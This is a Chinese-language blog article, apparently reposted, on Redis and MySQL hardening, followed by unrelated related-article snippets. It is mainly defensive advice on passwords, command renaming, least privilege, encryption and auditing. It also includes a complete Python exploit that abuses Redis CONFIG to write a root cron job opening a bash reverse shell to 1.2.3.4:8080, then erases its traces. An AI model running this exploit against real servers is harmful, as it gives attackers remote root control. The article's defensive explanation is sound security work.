系统安全 - RedisMySQL安全及实践

文章目录

  • 导图
  • Redis 安全
    • 潜在的安全风险
    • 防护措施
      • 密码认证
      • 命令重命名
      • 权限最小化
      • 日志和审计 Red
      • 网络隔离
  • MySQL 安全
    • 认证和授权
    • 文件操作风险
    • 传输和存储加密
    • 最小权限原则
    • 审计
  • 总结

在这里插入图片描述


导图

在这里插入图片描述


Redis 安全

Redis的设计初衷是为了在可信环境下提供高性能的KV数据库服务,因此它的安全设计较为简陋,这也导致了其在公开网络中的安全性较差。

潜在的安全风险

  • 数据篡改:如果黑客成功连接到Redis服务器,他们可以通过命令如FLUSHALL清空所有数据。
  • 命令执行:Redis虽然不能直接执行命令,但通过配置文件操作如CONFIG,攻击者可以间接写入如crontab的恶意任务,从而执行系统命令来控制服务器。
import redisr = redis.Redis(host='10.0.0.1', port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'# 设置 Redis 键值对
r.set(key, payload)# 配置 Redis 操作目录并保存恶意 payload 到 cron 文件
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()# 删除 Redis 中的键值对,清除操作痕迹
r.delete(key)# 将 Redis 的工作目录恢复到临时目录
r.config_set('dir', '/tmp')

利用 Redis 的 CONFIG 命令和一些其他命令来尝试进行恶意操作,在目标系统上植入一个反向 shell,并清除操作痕迹。这种攻击模式通常涉及篡改系统的 cron 任务计划文件 (/var/spool/cron) 来启动恶意 shell


防护措施

密码认证

redis.conf中设置requirepass来增加密码认证,虽然这可能会略微影响性能,但对于在不受信网络中的Redis部署,强密码认证是必不可少的,比较推荐随机生成一个 32 位的“数字加字母”的密码。

命令重命名

通过rename-command将敏感命令如CONFIGFLUSHALL重命名为随机字符串,避免黑客轻易调用这些命令。 比如 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho

权限最小化

Redis应以低权限用户(如nobody)运行,避免root权限运行,防止攻击者获取到过高的权限。(Redis 本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于 ROOT 权限)来保证正常运行)

日志和审计 Red

is的日志功能相对简单,没有详细的审计信息,因此在重要应用中,建议结合外部日志系统进行日志收集和分析。

网络隔离

建议通过防火墙或网络策略限制外部访问Redis实例,仅允许可信IP访问。


MySQL 安全

与Redis相比,MySQL作为一个成熟的关系型数据库,其安全机制要完善得多,提供了认证、授权、加密等一系列功能。

认证和授权

  • MySQL的多用户认证体系将用户的信息存储在mysql.user表中,并支持密码过期、密码重用限制、密码强度评估等功能,提供了较为全面的密码管理。
  • MySQL的授权机制通过GRANT命令赋予用户对特定数据库或表的权限,支持细粒度的权限控制。GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"

文件操作风险

  • MySQL提供了对本地文件的读写功能,例如通过LOAD DATA INFILE读取文件,SELECT ... INTO DUMPFILE写入文件。这些功能虽然方便,但如果配置不当,可能会被黑客利用来读取敏感文件或写入恶意脚本。

传输和存储加密

  • 传输加密:MySQL支持通过SSL加密客户端和服务器之间的通信。通过配置ssl-cassl-certssl-key等参数可以启用SSL。
    在这里插入图片描述

  • 存储加密:MySQL支持基于keyring_file插件的硬盘加密,表密钥通过主密钥加密后存储在表的表头中。需要注意备份主密钥文件,以防止数据丢失。


最小权限原则

  • MySQL会自动创建一个权限较低的mysql用户用于运行MySQL进程,避免以root权限运行数据库实例。

审计

虽然MySQL本身不提供内置的审计功能,但可以通过第三方插件如McAfee的mysql-audit或MariaDB的审计插件进行操作日志的收集和分析。


总结

在这里插入图片描述

  • Redis:主要在于性能优先,因此其安全功能较少。通过设置密码、限制网络访问、使用非root用户运行等方式,能在一定程度上提升安全性。
  • MySQL:功能更加完善,具有强大的认证、授权、加密和最小权限配置,通过合理配置这些安全功能,可以显著提升MySQL的安全性。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/438282.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FiBiNET模型实现推荐算法

1. 项目简介 A031-FiBiNET模型项目是一个基于深度学习的推荐系统算法实现,旨在提升推荐系统的性能和精度。该项目的背景源于当今互联网平台中,推荐算法在电商、社交、内容分发等领域的广泛应用。推荐系统通过分析用户的历史行为和兴趣偏好,预…

【NIO基础】NIO(非阻塞 I/O)和 IO(传统 I/O)的区别,以及 NIO 的三大组件详解

目录 1、NIO 2、NIO 和 IO 的区别 1. 阻塞 vs 非阻塞 2. 一个线程 vs 多个连接 3. 面向流 vs 面向缓冲 4. 多路复用 3、Channel & Buffer (1)Channel:双向通道 (2)Buffer:缓冲区 (3)ByteBuffer&#xff…

用Arduino单片机读取PCF8591模数转换器的模拟量并转化为数字输出

PCF8591是一款单芯片,单电源和低功耗8位CMOS数据采集设备。博文[1]对该产品已有介绍,此处不再赘述。但该博文是使用NVIDIA Jetson nano运行python读取输入PCF8591的模拟量的,读取的结果显示在屏幕上,或输出模拟量点亮灯。NVIDIA J…

计算机毕业设计 基于Python的智能文献管理系统的设计与实现 Python+Django+Vue 前后端分离 附源码 讲解 文档

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点…

讯飞星火编排创建智能体学习(四):网页读取

目录 引言 网页读取节点 如何生成网址 测试 引言 在讯飞星火编排创建智能体学习(三):搜索工具-CSDN博客中,我介绍了如何用搜索工具从网上搜索车次信息。不过,在测试中我们也发现讯飞星火的这个工具并不是特别完善&…

誉天Linux云计算课程学什么?为什么保障就业?

一个IT工程师相当于干了哪些职业? 其中置顶回答生动而形象地描绘道: 一个IT工程师宛如一个超级多面手,相当于——加班狂程序员测试工程师实施工程师网络工程师电工装卸工搬运工超人。 此中酸甜苦辣咸,相信很多小伙伴们都深有体会。除了典…

ESP01 AT指令学习

一 、AT指令 测试指令:ATCWMODE? 参数及取值范围 cwmode(1-3) 查询指令: ATCWMODE? 当前cwmode的取值 3 设置指令: ATCWMODE3 设置当前的cwmode为 3 1、station 模式 连接到其他wifi 2、softA…

Unity实战案例全解析:RTS游戏的框选和阵型功能(5)阵型功能 优化

前篇:Unity实战案例全解析:RTS游戏的框选和阵型功能(4)阵型功能-CSDN博客 本案例来源于unity唐老狮,有兴趣的小伙伴可以去泰克在线观看该课程 我只是对重要功能进行分析和做出笔记分享,并未无师自通&#x…

SpringBoot3+Druid YAML配置

背景 Druid连接池是阿里巴巴开源的数据库连接池项目。Druid连接池为监控而生,内置强大的监控功能,监控特性不影响性能。功能强大,能防SQL注入,内置Loging能诊断Hack应用行为。现在已经SpringBoot3,Druid的配置也需要随…

Yolov11项目实战1:道路缺陷检测系统设计【Python源码+数据集+运行演示】

一、项目背景 随着城市化进程的加速和交通网络的不断扩展,道路维护成为城市管理中的一个重要环节。道路缺陷(如裂缝、坑洞、路面破损等)不仅影响行车安全,还会增加车辆的磨损和维修成本。传统的道路缺陷检测方法主要依赖人工巡检…

HarmonyOS/OpenHarmony Audio 实现音频录制及播放功能

关键词:audio、音频录制、音频播放、权限申请、文件管理 在app的开发过程中时常会遇见一些需要播放一段音频或进行语音录制的场景,那么本期将介绍如何利用鸿蒙 audio 模块实现音频写入和播放的功能。本次依赖的是 ohos.multimedia.audio 音频管理模块&am…

前缀和算法详解

对于查询区间和的问题,可以预处理出来一个前缀和数组 dp,数组中存储的是从下标 0 的位置到当前位置的区间和,这样只需要通过前缀和数组就可以快速的求出指定区间的和了,例如求 l ~ r 区间的和,就可以之间使用 dp[l - 1…

河南做网站与SEO:如何提升搜索引擎排名

河南做网站与SEO:如何提升搜索引擎排名 在当今数字化时代,越来越多的企业意识到互联网的重要性,特别是在河南这样一个快速发展的地区,建立一个优秀的网站已经成为企业发展的必要条件。而在建立网站的同时,SEO&#xff…

Spring Gateway学习

系列文章目录 JavaSE基础知识、数据类型学习万年历项目代码逻辑训练习题代码逻辑训练习题方法、数组学习图书管理系统项目面向对象编程:封装、继承、多态学习封装继承多态习题常用类、包装类、异常处理机制学习集合学习IO流、多线程学习仓库管理系统JavaSE项目员工…

高性能防静电主轴4033 AC-ESD 在线路板切割中的非凡表现

随着电子产品的日益小型化/集成化,线路板的制造也面临着更高的挑战。线路板分板作为电子制造流程中的关键环节,其效率和精度直接影响到最终产品的质量和市场竞争力。因此专用的高性能防静电主轴SycoTec 4033 AC-ESD凭借其卓越的性能,成为众多…

笔记本电脑怎么多选删除文件?误删除文件怎么办

在日常使用笔记本电脑中,我们可能会遇到需要删除大量文件的情况,例如清理临时文件、整理文档或卸载不再需要的程序。手动一个一个地删除不仅效率低下,还可能遗漏某些文件。那么,如何在笔记本电脑上高效地进行多选删除操作呢&#…

15分钟学 Python 第33天 :函数式编程简介

Day 33: 函数式编程简介 1. 引言 函数式编程是一种程序设计范式,它将计算视为数学函数的求值,避免了程序中的可变状态和副作用。Python虽然是一种多范式语言(支持命令式、面向对象和函数式编程),但其函数式编程的特性…

WPF之UI进阶--控件样式与样式模板及词典

WPF的优势之一就是能够更加容易快捷的对窗体和控件的外面进行改造,换句话说,那就是UI设计个性化更加容易。主要是借助了样式、模板及词典来实现的。那么本篇博文就一一对他们进行介绍。 文章目录 一、样式1: 定义样式2: 使用Setter设置属性关于Property和…

CSS3--美开二度

免责声明:本文仅做分享! 目录 定位 相对定位 绝对定位 定位居中 固定定位 堆叠层级 z-index 定位-小结 CSS 精灵 京东案例 字体图标 下载字体 使用字体 上传矢量图 CSS 修饰属性 垂直对齐方式 vertical-align 过渡 transition 透明度 opa…

二、kafka生产与消费全流程

一、使用java代码生产、消费消息 1、生产者 package com.allwe.client.simple;import lombok.extern.slf4j.Slf4j; import org.apache.kafka.clients.producer.KafkaProducer; import org.apache.kafka.clients.producer.ProducerConfig; import org.apache.kafka.clients.pr…